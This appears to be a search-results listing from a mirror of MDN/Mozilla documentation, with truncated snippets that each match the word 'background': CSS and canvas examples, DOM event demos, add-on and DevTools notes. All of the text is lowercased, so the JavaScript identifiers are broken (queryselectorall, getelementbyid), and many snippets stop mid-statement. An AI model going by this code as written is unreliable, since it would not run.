examples padding-box html <div class="things"> <input value="abcdefghijklmnopqrstuvwxyzÅÄÖ" class="scroll padding-box"> <div class="scroll padding-box"><span>abcdefghijklmnopqrstuvwxyzÅÄÖ</span></div> </div> css .scroll { overflow: auto; padding: 0 30px; width: 6em; border: 1px solid black;
background: lime content-box; } .padding-box { overflow-clip-box-block: padding-box; } javascript function scrollsomeelements() { var elms = document.queryselectorall('.scroll'); for (i=0; i < elms.length; ++i) { elms[i].scrollleft=80; } } var elt = document.queryelementsbytagname('body')[0]; elt.addeventlistener("load", scrollsomeelements, false); result specifications this property h...
overflow-clip-box-inline
examples padding-box html <div class="things"> <input value="abcdefghijklmnopqrstuvwxyzÅÄÖ" class="scroll padding-box"> <div class="scroll padding-box"><span>abcdefghijklmnopqrstuvwxyzÅÄÖ</span></div> </div> css .scroll { overflow: auto; padding: 0 30px; width: 6em; border: 1px solid black;
background: lime content-box; } .padding-box { overflow-clip-box-inline: padding-box; } javascript function scrollsomeelements() { var elms = document.queryselectorall('.scroll'); for (i=0; i < elms.length; ++i) { elms[i].scrollleft=80; } } var elt = document.queryelementsbytagname('body')[0]; elt.addeventlistener("load", scrollsomeelements, false); result specifications this property ...
overflow-clip-box
formal syntax padding-box | content-box examples padding-box html <div class="things"> <input value="abcdefghijklmnopqrstuvwxyzÅÄÖ" class="scroll padding-box"> <div class="scroll padding-box"><span>abcdefghijklmnopqrstuvwxyzÅÄÖ</span></div> </div> css .scroll { overflow: auto; padding: 0 30px; width: 6em; border: 1px solid black;
background: lime content-box; } .padding-box { overflow-clip-box: padding-box; } js function scrollsomeelements() { var elms = document.queryselectorall('.scroll'); for (i=0; i < elms.length; ++i) { elms[i].scrollleft=80; } } var elt = document.queryelementsbytagname('body')[0]; elt.addeventlistener("load", scrollsomeelements, false); result specifications this property has been propos...
MozBeforePaint
<!doctype html> <html> <body> <div id="d" style="width:100px; height:100px;
background:lime; position:relative;"></div> <script> var d = document.getelementbyid("d"); var start = window.mozanimationstarttime; function step(event) { var progress = event.timestamp - start; d.style.left = math.min(progress/10, 200) + "px"; if (progress < 2000) { window.mozrequestanimationframe(); } else { window.removeeventlistener("mozbeforepaint", step, false); } } window.addeventl...
Gecko's "Almost Standards" Mode
mysterious gaps" for a detailed explanation of how such layouts are treated in "standards" mode.) in slightly more detail, what differs in almost-standards mode is roughly this: inline boxes that have no non-whitespace text as a child and have no border, padding, or margin: do not influence the size of the line box (that is, their line-height is ignored) do not get a height (e.g., for their
background) larger than that of their descendants, even if their font size is larger (if they have no descendants, they are zero-height positioned at their baseline) other than this one difference, "almost standards" and "standards" modes are exactly the same in terms of layout and other behaviors.
IPC Protocol Definition Language (IPDL)
current docs ipdl tutorial quick start: creating a new protocol quick start: extending a protocol ipdl type serialization ipdl best practices ipdl glossary p
background future planned docs ipdl language reference error and shutdown handling in ipdl protocols how ipdl uses processes, threads, and sockets ipdl shared memory ...
Introduction to Layout in Mozilla
ecursively walks content tree, resolves style and creates frames either created by tag (<select>) or by display type (<p>) frame manager maintains mapping from content to frame style resolution compute stylistic information based on the style rules that apply for the frame’s content node style data broken into different structures display, visibility, font, color,
background, … inherit vs.
Addon
apply
backgroundupdates integer indicates whether updates found in the
background for this add-on will be applied automatically.
AddonInstall
the process will continue in the
background until it fails, completes, one of the registered installlisteners pauses it, or the process is canceled by a call to the cancel() method.
AddonListener
only applies to the following properties: apply
backgroundupdates void onpropertychanged( in addon addon, in string properties[] ) parameters addon the addon that has had its properties changed properties an array of the names of properties that changed.
AddonManager
update_when_periodic_update an update check performed automatically in the
background.
Bootstrapping a new locale
.dtd places aboutsessionrestore.dtd preferences aboutsupport.dtd quitdialog.properties basemenuoverlay.dtd safemode.dtd browser.dtd safebrowsing browser.properties sanitize.dtd credits.dtd search.properties enginemanager.dtd searchbar.dtd enginemanager.properties setdesktop
background.dtd feeds shellservice.properties history sidebar migration tabbrowser.dtd openlocation.dtd tabbrowser.properties openlocation.properties as a localizer, you are responsible for localizing each of the ".dtd" and ".properties" in *all* of the sub-directories found in your ab-cd directory.
MathML Torture Test
</mo><mrow><mi>i</mi><mo>=</mo><mn>1</mn></mrow><mi>n</mi></munderover><msub><mi>a</mi><mrow><mi>i</mi><mo>,</mo><msub><mi>σ</mi><mi>i</mi></msub></mrow></msub></mrow></mrow></math></td> </tr> </table> css content /* table style */ body { text-align: center; } table { border: solid thin; border-collapse: collapse; margin-left: auto; margin-right: auto; } th {
background-color: #ddf; border: solid thin; color: black; padding: 5px; } td { border: solid thin; padding: 5px; text-align: center; } .asana math { font-family: asana math; } .cambria math { font-family: cambria math; } .dejavu math { font-family: dejavu math tex gyre; } .latinmodern math { font-family: latin modern math; } .libertinus math { font-family: libertinus math; } ...
MathML Screenshots
this page also shows how mathml can be used in combination with other web features such as
background images at a desired opacity.
MathML In Action
as for the roots of the equation a x 2 + b x + c = 0 , click anywhere in the yellow area to zoom-in/zoom-out: zoomable math html content <p> <math display="block"> <mstyle id="zoomablemath" math
background="yellow"> <mrow> <mi>x</mi> <mo>=</mo> <mfrac> <mrow> <mrow> <mo>-</mo> <mi>b</mi> </mrow> <mo>±</mo> <msqrt> <mrow> <msup> <mi>b</mi> <mn>2</mn> ...
Debugger-API - Firefox Developer Tools
if you have a strong command of the javascript language, you should have all the
background you need to use debugger successfully, even if you have never looked into the language’s implementation.
Inspect and select colors - Firefox Developer Tools
if you click on the color sample, you'll see a color picker popup, enabling you to change the color: if the color is a foreground color, the color picker tells you whether its contrast with the
background color meets accessibility guidelines.
How to - Firefox Developer Tools
nspector: examine flexbox layoutscss grid inspector: examine grid layoutsedit css filtersedit shape paths in cssedit fontsexamine event listenersexamine and edit cssexamine and edit htmlexamine and edit the box modelinspect and select colorsopen the inspectorreposition elements in the pageselect an elementselect and highlight elementsuse the inspector apiuse the inspector from the web consoleview
background imagesvisualize transformswork with animations ...
Page Inspector - Firefox Developer Tools
nd out what you can do with the inspector, see the following how to guides: open the inspector examine and edit html examine and edit the box model inspect and select colors reposition elements in the page edit fonts visualize transforms use the inspector api select an element examine and edit css examine event listeners work with animations edit css filters edit css shapes view
background images use the inspector from the web console examine css grid layouts examine css flexbox layouts reference keyboard shortcuts settings ...
Paint Flashing Tool - Firefox Developer Tools
<body> <div id="container"> <div class="moving-box" id="moving-box-left-margin">transition using margin-left</div> <div class="moving-box" id="moving-box-transform">transition using transform</div> </div> </body> #container { border: 1px solid; } .moving-box { height: 20%; width:20%; margin: 2%; padding: 2%;
background-color: blue; color: white; font-size: 24px; } #moving-box-left-margin { transition: margin-left 4s; } #moving-box-transform { transition: transform 4s; } body:hover #moving-box-left-margin{ margin-left: 74%; } body:hover #moving-box-transform { transform: translate(300%); } to see the transition, move the mouse into the space below: now switch paint flashing on, and try it aga...
Console messages - Firefox Developer Tools
additionally, many of these messages help educate developers because they end with a “learn more” link that takes you to a page with
background information and advice for mitigating the issue.
about:debugging - Firefox Developer Tools
this does what it says: reloads any persistent scripts, such as
background scripts parses the manifest.json file again, so changes to permissions, content_scripts, browser_action or any other keys take effect installed extensions the permanently installed extensions are listed in the next section, extensions.
AnalyserNode.getFloatFrequencyData() - Web APIs
top = 0; canvas.style.left = 0; canvas.width = window.innerwidth; canvas.height = window.innerheight; document.body.appendchild(canvas); const canvasctx = canvas.getcontext('2d'); canvasctx.clearrect(0, 0, canvas.width, canvas.height); function draw() { //schedule next redraw requestanimationframe(draw); //get spectrum data analysernode.getfloatfrequencydata(dataarray); //draw black
background canvasctx.fillstyle = 'rgb(0, 0, 0)'; canvasctx.fillrect(0, 0, canvas.width, canvas.height); //draw spectrum const barwidth = (canvas.width / bufferlength) * 2.5; let posx = 0; for (let i = 0; i < bufferlength; i++) { const barheight = (dataarray[i] + 140) * 2; canvasctx.fillstyle = 'rgb(' + math.floor(barheight + 100) + ', 50, 50)'; canvasctx.fillrect(posx, canvas.height...
BaseAudioContext - Web APIs
53" text-anchor="middle" alignment-baseline="middle">baseaudiocontext</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties baseaudiocontext.audioworklet read only secure context returns the audioworklet object, which can be used to create and manage audionodes in which javascript code implementing the audioworkletprocessor interface are run in the
background to process audio data.
BudgetService.getCost() - Web APIs
the getcost() property of the budgetservice interface returns a promise that resolves to a double indicating the worst-case
background operation cost of the provided
background operation.
BudgetService - Web APIs
methods budgetservice.getcost() returns a promise that resolves to a double, indicating the worst-case
background operation cost of the provided
background operation.
CSSPositionValue - Web APIs
#image { width: 300px; height: 300px; border: 1px solid black;
background-color: #dededf; object-fit: none; } <p>check the developer tools to see the log in the console and to inspect the style attribute on the image.</p> <img id="image" src="https://udn.realityripple.com/samples/db/4f9fbd7dfb.svg" alt="mdn logo"/> ...
CSSRule.cssText - Web APIs
syntax string = cssrule.csstext example <style> body {
background-color: darkblue; } </style> <script> var stylesheet = document.stylesheets[0]; alert(stylesheet.cssrules[0].csstext); // body {
background-color: darkblue; } </script> specifications specification status comment css object model (cssom)the definition of 'cssrule: csstext' in that specification.
CSSStyleDeclaration.length - Web APIs
example the following gets the number of explicitly set styles on the following html element: <div id="div1" style="margin: 0 10px;
background-color: #ca1; font-family: monospace"></div> javascript code: var mydiv = document.getelementbyid('div1'); var divstyle = mydiv.style; var len = divstyle.length; // 6 specifications specification status comment css object model (cssom)the definition of 'cssstyledeclaration.length' in that specification.
CSSStyleDeclaration.removeProperty() - Web APIs
example the following javascript code removes the
background-color css property from a selector rule: var declaration = document.stylesheets[0].rules[0].style; var oldvalue = declaration.removeproperty('
background-color'); specifications specification status comment css object model (cssom)the definition of 'cssstyledeclaration.removeproperty()' in that specification.
CSSStyleRule.selectorText - Web APIs
syntax string = cssrule.selectortext example // for cssrule: body {
background-color: darkblue; } var stylesheet = document.stylesheets[0]; alert(stylesheet.cssrules[0].selectortext); // body notes the implementation may have stripped out insignificant whitespace while parsing the selector.
CSSStyleRule.style - Web APIs
syntax styleobj = cssrule.style example function stilo() { alert(document.stylesheets[0].cssrules[0].style.csstext); } // displays "
background-color: gray;" notes the declaration block is that part of the style rule that appears within the braces and that actually provides the style definitions (for the selector, the part that comes before the braces).
CSSStyleSheet.insertRule() - Web APIs
* @param {array} rules accepts an array of json-encoded declarations * @example addstylesheetrules([ ['h2', // also accepts a second argument as an array of arrays instead ['color', 'red'], ['
background-color', 'green', true] // 'true' for !important rules ], ['.myclass', ['
background-color', 'yellow'] ] ]); */ function addstylesheetrules (rules) { var styleel = document.createelement('style'); // append <style> element to <head> document.head.appendchild(styleel); // grab style element's sheet var stylesheet = styleel.sheet; for (var i = 0; i < rules.length; i++) { ...
Managing screen orientation - Web APIs
n /* first let's define some common styles */ html, body { width : 100%; height: 100%; } body { border: 1px solid black; -moz-box-sizing: border-box; box-sizing: border-box; } p { font : 1em sans-serif; margin : 0; padding: .5em; } ul { list-style: none; font : 1em monospace; margin : 0; padding: .5em; -moz-box-sizing: border-box; box-sizing: border-box;
background: black; } li { display: inline-block; margin : 0; padding: 0.5em;
background: white; } once we have some common styles we can start defining a special case for the orientation /* for portrait, we want the tool bar on top */ @media screen and (orientation: portrait) { #toolbar { width: 100%; } } /* for landscape, we want the tool bar stick on the left */ @media screen and (o...
CSS Typed Object Model API - Web APIs
subclasses include: cssimagevalue objects an interface representing values for properties that take an image, for example
background-image, list-style-image, or border-image-source.
CanvasRenderingContext2D.createPattern() - Web APIs
javascript // create a pattern, offscreen const patterncanvas = document.createelement('canvas'); const patterncontext = patterncanvas.getcontext('2d'); // give the pattern a width and height of 50 patterncanvas.width = 50; patterncanvas.height = 50; // give the pattern a
background color and draw an arc patterncontext.fillstyle = '#fec'; patterncontext.fillrect(0, 0, patterncanvas.width, patterncanvas.height); patterncontext.arc(0, 0, 50, 0, .5 * math.pi); patterncontext.stroke(); // create our primary canvas and fill it with the pattern const canvas = document.createelement('canvas'); const ctx = canvas.getcontext('2d'); const pattern = ctx.createpattern(patterncanvas, 'r...
CanvasRenderingContext2D.drawFocusIfNeeded() - Web APIs
.offsettop; // focus button1, if appropriate drawbutton(button1, 20, 20); if (ctx.ispointinpath(x, y)) { button1.focus(); } // focus button2, if appropriate drawbutton(button2, 20, 80); if (ctx.ispointinpath(x, y)) { button2.focus(); } } function drawbutton(el, x, y) { const active = document.activeelement === el; const width = 150; const height = 40; // button
background ctx.fillstyle = active ?
Compositing example - Web APIs
function createcanvas() { var canvas = document.createelement("canvas"); canvas.style.
background = "url("+op_8x8.data+")"; canvas.style.border = "1px solid #000"; canvas.style.margin = "5px"; canvas.width = width/2; canvas.height = height/2; return canvas; } function runcomposite() { var dl = document.createelement("dl"); document.body.appendchild(dl); while(gco.length) { var pop = gco.pop(); var dt = document.createelement("dt"); dt.t...
Compositing and clipping - Web APIs
function draw() { var ctx = document.getelementbyid('canvas').getcontext('2d'); ctx.fillrect(0, 0, 150, 150); ctx.translate(75, 75); // create a circular clipping path ctx.beginpath(); ctx.arc(0, 0, 60, 0, math.pi * 2, true); ctx.clip(); // draw
background var lingrad = ctx.createlineargradient(0, -75, 0, 75); lingrad.addcolorstop(0, '#232256'); lingrad.addcolorstop(1, '#143778'); ctx.fillstyle = lingrad; ctx.fillrect(-75, -75, 150, 150); // draw stars for (var j = 1; j < 50; j++) { ctx.save(); ctx.fillstyle = '#fff'; ctx.translate(75 - math.floor(math.random() * 150), 75 - math.floor(math.random() * 15...
Using channel messaging - Web APIs
for example, what if you wanted to add a contact to the address book from the main site, add high scores from your game into your main profile, or add new
background music choices from the audio player onto the game?
Content Index API - Web APIs
examples could be a news website prefetching the latest articles in the
background, or a content streaming app registering downloaded content.
CustomElementRegistry.define() - Web APIs
'position: relative;' + '}' + '.info {' + 'font-size: 0.8rem;' + 'width: 200px;' + 'display: inline-block;' + 'border: 1px solid black;' + 'padding: 10px;' + '
background: white;' + 'border-radius: 10px;' + 'opacity: 0;' + 'transition: 0.6s all;' + 'position: absolute;' + 'bottom: 20px;' + 'left: 10px;' + 'z-index: 3;' + '}' + ...
DataTransfer.setData() - Web APIs
tml lang=en> <title>examples of datatransfer's setdata(), getdata() and cleardata()</title> <meta content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> <script> function dragstart_handler(ev) { console.log("dragstart"); // change the source element's
background color to signify drag has started ev.currenttarget.style.border = "dashed"; // set the drag's format and data.
Detecting device orientation - Web APIs
in a garden: <div class="garden"> <div class="ball"></div> </div> <pre class="output"></pre> this garden is 200 pixel wide (yes, it's a tiny one), and the ball is in the center: .garden { position: relative; width : 200px; height: 200px; border: 5px solid #ccc; border-radius: 10px; } .ball { position: absolute; top : 90px; left : 90px; width : 20px; height: 20px;
background: green; border-radius: 100%; } now, if we move our device, the ball will move accordingly: var ball = document.queryselector('.ball'); var garden = document.queryselector('.garden'); var output = document.queryselector('.output'); var maxx = garden.clientwidth - ball.clientwidth; var maxy = garden.clientheight - ball.clientheight; function handleorientation(event) { var x = event.beta...
Document.hasFocus() - Web APIs
html <p id="log">awaiting focus check.</p> <button onclick="openwindow()">open a new window</button> javascript function checkpagefocus() { let body = document.queryselector('body'); let log = document.getelementbyid('log'); if (document.hasfocus()) { log.textcontent = 'this document has the focus.'; body.style.
background = '#fff'; } else { log.textcontent = 'this document does not have the focus.'; body.style.
background = '#ccc'; } } function openwindow() { window.open('https://developer.mozilla.org/', 'mdn', 'width=640,height=320,left=150,top=150'); } // check page focus every 300 milliseconds setinterval(checkpagefocus, 300); result specification specification status commen...
Document: visibilitychange event - Web APIs
document.addeventlistener("visibilitychange", function() { if (document.visibilitystate === 'visible') {
backgroundmusic.play(); } else {
backgroundmusic.pause(); } }); specifications specification status comment page visibility (second edition)the definition of 'visibilitychange' in that specification.
Document: wheel event - Web APIs
<div>scale me with your mouse wheel.</div> body { min-height: 100vh; margin: 0; display: flex; align-items: center; justify-content: center; } div { width: 105px; height: 105px;
background: #cdf; padding: 5px; } function zoom(event) { event.preventdefault(); if (event.deltay < 0) { // zoom in scale *= event.deltay * -2; } else { // zoom out scale /= event.deltay * 2; } // restrict scale scale = math.min(math.max(.125, scale), 4); // apply scale transform el.style.transform = `scale(${scale})`; } let scale = 1; const el = document.queryselect...
Introduction to the DOM - Web APIs
figure 0.1 sample dom test page in this example, the drop-down menus dynamically update such dom—accessible aspects of the web page as its
background color (bgcolor), the color of the hyperlinks (alink), and color of the text (text).
How whitespace is handled by HTML, CSS, and in the DOM - Web APIs
consider this example (again, the whitespace characters in the html are marked so they are visible): .people-list { list-style-type: none; margin: 0; padding: 0; } .people-list li { display: inline-block; width: 2em; height: 2em;
background: #f06; border: 1px solid; } <ul class="people-list">⏎ ◦◦<li></li>⏎ ◦◦<li></li>⏎ ◦◦<li></li>⏎ ◦◦<li></li>⏎ ◦◦<li></li>⏎ </ul> this renders as follows: hidden example 3 .people-list { list-style-type: none; margin: 0; padding: 0; } .people-list li { display: inline-block; width: 2em; height: 2em;
background: #f06; border: 1px solid; } <ul class="peopl...
Element: copy event - Web APIs
examples live example html <div class="source" contenteditable="true">try copying text from this box...</div> <div class="target" contenteditable="true">...and pasting it into this one</div> css div.source, div.target { border: 1px solid gray; margin: .5rem; padding: .5rem; height: 1rem;
background-color: #e9eef1; } js const source = document.queryselector('div.source'); source.addeventlistener('copy', (event) => { const selection = document.getselection(); event.clipboarddata.setdata('text/plain', selection.tostring().touppercase()); event.preventdefault(); }); result specifications specification status clipboard api and events working draf...
Element: cut event - Web APIs
examples live example html <div class="source" contenteditable="true">try cutting text from this box...</div> <div class="target" contenteditable="true">...and pasting it into this one</div> css div.source, div.target { border: 1px solid gray; margin: .5rem; padding: .5rem; height: 1rem;
background-color: #e9eef1; } js const source = document.queryselector('div.source'); source.addeventlistener('cut', (event) => { const selection = document.getselection(); event.clipboarddata.setdata('text/plain', selection.tostring().touppercase()); selection.deletefromdocument(); event.preventdefault(); }); result specifications specification status clip...
Element: dblclick event - Web APIs
javascript const card = document.queryselector('aside'); card.addeventlistener('dblclick', function (e) { card.classlist.toggle('large'); }); html <aside> <h3>my card</h3> <p>double click to resize this object.</p> </aside> css aside {
background: #fe9; border-radius: 1em; display: inline-block; padding: 1em; transform: scale(.9); transform-origin: 0 0; transition: transform .6s; } .large { transform: scale(1.3); } result specifications specification status ui eventsthe definition of 'dblclick' in that specification.
Element: focusin event - Web APIs
focusevent event handler property onfocusin sync / async sync composed yes examples live example html <form id="form"> <input type="text" placeholder="text input"> <input type="password" placeholder="password"> </form> javascript const form = document.getelementbyid('form'); form.addeventlistener('focusin', (event) => { event.target.style.
background = 'pink'; }); form.addeventlistener('focusout', (event) => { event.target.style.
background = ''; }); result specifications specification status comment ui events working draft added info that this event is composed.
Element: focusout event - Web APIs
focusevent event handler property onfocusout sync / async sync composed yes examples live example html <form id="form"> <input type="text" placeholder="text input"> <input type="password" placeholder="password"> </form> javascript const form = document.getelementbyid('form'); form.addeventlistener('focusin', (event) => { event.target.style.
background = 'pink'; }); form.addeventlistener('focusout', (event) => { event.target.style.
background = ''; }); result specifications specification status comment ui events working draft added info that this event is composed.
Element.getBoundingClientRect() - Web APIs
<div></div> div { width: 400px; height: 200px; padding: 20px; margin: 50px auto;
background: purple; } let elem = document.queryselector('div'); let rect = elem.getboundingclientrect(); for (var key in rect) { if(typeof rect[key] !== 'function') { let para = document.createelement('p'); para.textcontent = `${ key } : ${ rect[key] }`; document.body.appendchild(para); } } notice how the width/height are equal to the equal to its width/height + padding.
Element.insertAdjacentElement() - Web APIs
example beforebtn.addeventlistener('click', function() { var tempdiv = document.createelement('div'); tempdiv.style.
backgroundcolor = randomcolor(); if (activeelem) { activeelem.insertadjacentelement('beforebegin',tempdiv); } setlistener(tempdiv); }); afterbtn.addeventlistener('click', function() { var tempdiv = document.createelement('div'); tempdiv.style.
backgroundcolor = randomcolor(); if (activeelem) { activeelem.insertadjacentelement('afterend',tempdiv); } setlistener(tempdiv); }); have a l...
Element: overflow event - Web APIs
bubbles yes cancelable yes interface uievent event handler property unknown examples <div id="wrapper"> <div id="child"></div> </div> <br/> <label><input type="checkbox" id="toggle" checked/> overflow</label> <style> #wrapper { width: 20px; height: 20px;
background: #000; padding: 5px; overflow: hidden; } #child { width: 40px; height: 40px; border: 2px solid grey;
background: #ccc; } </style> <script> var wrapper = document.getelementbyid("wrapper"), child = document.getelementbyid("child"), toggle = document.getelementbyid("toggle"); wrapper.addeventlistener("overflow", function( event ) { console.log(...
Element: paste event - Web APIs
examples live example html <div class="source" contenteditable="true">try copying text from this box...</div> <div class="target" contenteditable="true">...and pasting it into this one</div> css div.source, div.target { border: 1px solid gray; margin: .5rem; padding: .5rem; height: 1rem;
background-color: #e9eef1; } js const target = document.queryselector('div.target'); target.addeventlistener('paste', (event) => { let paste = (event.clipboarddata || window.clipboarddata).getdata('text'); paste = paste.touppercase(); const selection = window.getselection(); if (!selection.rangecount) return false; selection.deletefromdocument(); selection.getrangeat(0).insertn...
Element.releasePointerCapture() - Web APIs
html <div id="slider">slide me</div> css div { width: 140px; height: 50px; display: flex; align-items: center; justify-content: center;
background: #fbe; } javascript function beginsliding(e) { slider.onpointermove = slide; slider.setpointercapture(e.pointerid); } function stopsliding(e) { slider.onpointermove = null; slider.releasepointercapture(e.pointerid); } function slide(e) { slider.style.transform = `translate(${e.clientx - 70}px)`; } const slider = document.getelementbyid('slider'); slider.onpointerdown = beginslidin...
Element.scrollLeft - Web APIs
example html <div id="container"> <div id="content">click the button to slide right!</div> </div> <button id="slide" type="button">slide right</button> css #container { width: 100px; height: 100px; border: 1px solid #ccc; overflow-x: scroll; } #content { width: 250px;
background-color: #ccc; } javascript const button = document.getelementbyid('slide'); button.onclick = function () { document.getelementbyid('container').scrollleft += 20; }; result specifications specification status comment css object model (cssom) view modulethe definition of 'scrollleft' in that specification.
Element.setPointerCapture() - Web APIs
html <div id="slider">slide me</div> css div { width: 140px; height: 50px; display: flex; align-items: center; justify-content: center;
background: #fbe; } javascript function beginsliding(e) { slider.onpointermove = slide; slider.setpointercapture(e.pointerid); } function stopsliding(e) { slider.onpointermove = null; slider.releasepointercapture(e.pointerid); } function slide(e) { slider.style.transform = `translate(${e.clientx - 70}px)`; } const slider = document.getelementbyid('slider'); slider.onpointerdown = beginslidin...
Element.shadowRoot - Web APIs
the shadow dom and then update the css found inside it: function updatestyle(elem) { const shadow = elem.shadowroot; const childnodes = array.from(shadow.childnodes); childnodes.foreach(childnode => { if (childnode.nodename === 'style') { childnode.textcontent = ` div { width: ${elem.getattribute('l')}px; height: ${elem.getattribute('l')}px;
background-color: ${elem.getattribute('c')}; } `; } }); } specifications specification status comment domthe definition of 'shadowroot' in that specification.
Element: underflow event - Web APIs
bubbles yes cancelable yes interface uievent event handler property unknown examples <div id="wrapper"> <div id="child"></div> </div> <br/> <label><input type="checkbox" id="toggle" checked/> overflow</label> <style> #wrapper { width: 20px; height: 20px;
background: #000; padding: 5px; overflow: hidden; } #child { width: 40px; height: 40px; border: 2px solid grey;
background: #ccc; } </style> <script> var wrapper = document.getelementbyid("wrapper"), child = document.getelementbyid("child"), toggle = document.getelementbyid("toggle"); wrapper.addeventlistener("overflow", function( event ) { console.log(...
Element: wheel event - Web APIs
<div>scale me with your mouse wheel.</div> body { min-height: 100vh; margin: 0; display: flex; align-items: center; justify-content: center; } div { width: 105px; height: 105px;
background: #cdf; padding: 5px; } function zoom(event) { event.preventdefault(); scale += event.deltay * -0.01; // restrict scale scale = math.min(math.max(.125, scale), 4); // apply scale transform el.style.transform = `scale(${scale})`; } let scale = 1; const el = document.queryselector('div'); el.onwheel = zoom; addeventlistener equivalent the event handler can also be set up using...
Element - Web APIs
this can be used to watch both for successful expected transitions, but also to watch for unexpected changes, such as when your app is running in the
background.
Comparison of Event Targets - Web APIs
tp-equiv="x-ua-compatible" content="ie=edge"> <title>comparison of event targets</title> <style> table { border-collapse: collapse; height: 150px; width: 100%; } td { border: 1px solid #ccc; font-weight: bold; padding: 5px; min-height: 30px; } .standard {
background-color: #99ff99; } .non-standard {
background-color: #902d37; } </style> </head> <body> <table> <thead> <tr> <td class="standard">original target dispatching the event <small>event.target</small></td> <td class="standard">target who's event listener is being processed <small>event.currenttarget</small></td> ...
Event.preventDefault() - Web APIs
html here's the form: <div class="container"> <p>please enter your name using lowercase letters only.</p> <form> <input type="text" id="my-textbox"> </form> </div> css we use a little bit of css for the warning box we'll draw when the user presses an invalid key: .warning { border: 2px solid #f39389; border-radius: 2px; padding: 10px; position: absolute;
background-color: #fbd8d4; color: #3b3c40; } javascript and here's the javascript code that does the job.
EventTarget.removeEventListener() - Web APIs
const body = document.queryselector('body') const clicktarget = document.getelementbyid('click-target') const mouseovertarget = document.getelementbyid('mouse-over-target') let toggle = false; function make
backgroundyellow() { if (toggle) { body.style.
backgroundcolor = 'white'; } else { body.style.
backgroundcolor = 'yellow'; } toggle = !toggle; } clicktarget.addeventlistener('click', make
backgroundyellow, false ); mouseovertarget.addeventlistener('mouseover', function () { clicktarget.removeeventlistener('click', make
backgroundyellow, false );...
FetchEvent - Web APIs
const cache = await caches.open('dynamic-v1'); const cachedresponse = await cache.match(event.request); if (cachedresponse) { // if we found a match in the cache, return it, but also // update the entry in the cache in the
background.
Using the Gamepad API - Web APIs
etelementbyid("controller" + j); var buttons = d.getelementsbyclassname("button"); for (i = 0; i < controller.buttons.length; i++) { var b = buttons[i]; var val = controller.buttons[i]; var pressed = val == 1.0; if (typeof(val) == "object") { pressed = val.pressed; val = val.value; } var pct = math.round(val * 100) + "%"; b.style.
backgroundsize = pct + " " + pct; if (pressed) { b.classname = "button pressed"; } else { b.classname = "button"; } } var axes = d.getelementsbyclassname("axis"); for (i = 0; i < controller.axes.length; i++) { var a = axes[i]; a.innerhtml = i + ": " + controller.axes[i].tofixed(4); a.setattribute("value", controller.axes[i] + 1); } } ...
Using the Geolocation API - Web APIs
body { padding: 20px;
background-color:#ffffc9 } button { margin: .5rem 0; } html <button id = "find-me">show my location</button><br/> <p id = "status"></p> <a id = "map-link" target="_blank"></a> javascript function geofindme() { const status = document.queryselector('#status'); const maplink = document.queryselector('#map-link'); maplink.href = ''; maplink.textcontent = ''; function success(position) { ...
Geolocation API - Web APIs
body { padding: 20px;
background-color:#ffffc9 } button { margin: .5rem 0; } html <button id = "find-me">show my location</button><br/> <p id = "status"></p> <a id = "map-link" target="_blank"></a> javascript function geofindme() { const status = document.queryselector('#status'); const maplink = document.queryselector('#map-link'); maplink.href = ''; maplink.textcontent = ''; function success(position) { ...
GlobalEventHandlers.oncontextmenu - Web APIs
html <div class="shape">spinning</div> <p class="note" hidden>click to unpause.</p> css @keyframes spin { from { transform: rotate(0); } to { transform: rotate(1turn); } } .shape { width: 8em; height: 8em; display: flex; align-items: center; justify-content: center; animation: spin 18s linear infinite;
background: lightsalmon; border-radius: 42%; margin: 1em; } .paused {
background-color: #ddd; } .paused .shape { animation-play-state: paused; } javascript function pause(e) { body.classlist.add('paused'); note.removeattribute('hidden'); } function play(e) { body.classlist.remove('paused'); note.setattribute('hidden', ''); } const body = document.queryselector('body'); const note = doc...
GlobalEventHandlers.ondrag - Web APIs
: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function drag_handler(ev) { console.log("drag"); } function dragstart_handler(ev) { console.log("dragstart"); ev.datatransfer.setdata("text", ev.target.id); } function drop_handler(ev) { console.log("drop"); ev.currenttarget.style.
background = "lightyellow"; ev.preventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragover_handler(ev) { console.log("dragover"); ev.preventdefault(); } </script> <body> <h1>examples of <code>ondrag</code>, <code>ondrop</code>, <code>ondragstart</code>, <code>ondragover</code></h1> <div> <!-- <div class="source"> --> <p i...
GlobalEventHandlers.ondragover - Web APIs
: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function drag_handler(ev) { console.log("drag"); } function dragstart_handler(ev) { console.log("dragstart"); ev.datatransfer.setdata("text", ev.target.id); } function drop_handler(ev) { console.log("drop"); ev.currenttarget.style.
background = "lightyellow"; ev.preventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragover_handler(ev) { console.log("dragover"); ev.preventdefault(); } </script> <body> <h1>examples of <code>ondrag</code>, <code>ondrop</code>, <code>ondragstart</code>, <code>ondragover</code></h1> <div> <p id="source" ondrag="drag_handle...
GlobalEventHandlers.ondragstart - Web APIs
: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function drag_handler(ev) { console.log("drag"); } function dragstart_handler(ev) { console.log("dragstart"); ev.datatransfer.setdata("text", ev.target.id); } function drop_handler(ev) { console.log("drop"); ev.currenttarget.style.
background = "lightyellow"; ev.preventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragover_handler(ev) { console.log("dragover"); ev.preventdefault(); } </script> <body> <h1>examples of <code>ondrag</code>, <code>ondrop</code>, <code>ondragstart</code>, <code>ondragover</code></h1> <div> <p id="source" ondrag="drag_handle...
GlobalEventHandlers.ondrop - Web APIs
: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function drag_handler(ev) { console.log("drag"); } function dragstart_handler(ev) { console.log("dragstart"); ev.datatransfer.setdata("text", ev.target.id); } function drop_handler(ev) { console.log("drop"); ev.currenttarget.style.
